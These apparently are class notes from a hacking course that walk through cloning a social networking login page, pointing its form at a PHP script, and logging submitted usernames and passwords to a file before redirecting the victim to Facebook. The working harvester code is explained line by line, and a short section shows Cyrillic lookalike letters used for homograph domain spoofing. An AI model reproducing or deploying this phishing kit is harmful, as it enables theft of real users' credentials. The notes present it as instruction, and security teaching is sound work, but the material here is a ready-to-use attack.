Grade 1 Session 8

Phishing
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It is something when an attacker creates a fake website or a webpage, which contains a form --> login form, banking detail form, in which you enter your details------> and looks very juicy, which attracts a user to login without any force. Via this attack, attacker gains the information of the user.



Step 1- Open The Browser
Step 2- Open Any Social Networking Site
Step 3- Right Click On The Web Page
Step 4- Click On "View Page Source"
Step 5- Copy The Source Code
Step 6- Paste The Source Code In Notepad File
Step 7- Find "Action="
Step 8- Replace The Field In The Above Step With Post.php
Step 9- Create A Post.php File
Step 10- Save As the Copied File as name.html
Step 11- Save Both The Files In Localhost Server


post.php


<?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>





<?php ---> starting of php file
header ('Location: http://www.facebook.com'); --> when work of the script is complete.... redirect the user to this particular page
$handle = fopen("log.txt", "a"); --> creating a file, name --> log.txt mode--> attribute --> append
foreach($_POST as $variable => $value) --> for loop creating ---> jb tk mughe variable receive ho rahe h tb tk for loop work krta rahe
{ --> start of for loop
   fwrite($handle, $variable); --> variable name write
   fwrite($handle, "="); --> to write "="
   fwrite($handle, $value); --> to write the username
   fwrite($handle, "\r\n"); --> new line
} --> to close the for loop
fwrite($handle, "\r\n"); --> new line
fclose($handle); --> to save and close the opened file
exit; --> exit of php script
?> --> chalo kaam khatam

1. read --> r --> to read the content of the file only
2. write --> w --> to write in the file, if not existing, then create the file, else overwrite the file
3. append --> a --> again to read and write, if file is there then start from the location where my file is ending, else create a new file


username=name
password = passwordhai


IDN HOMOGRAPHIC ATTACK
----------------------
There are so many languages in the world. But some languages have similar characters as that of english alphabets

а с е о р --> Cerelic alphabet --> dеерikа раdukоnе
a c e o p --> English Alphabet --> deepika padukone

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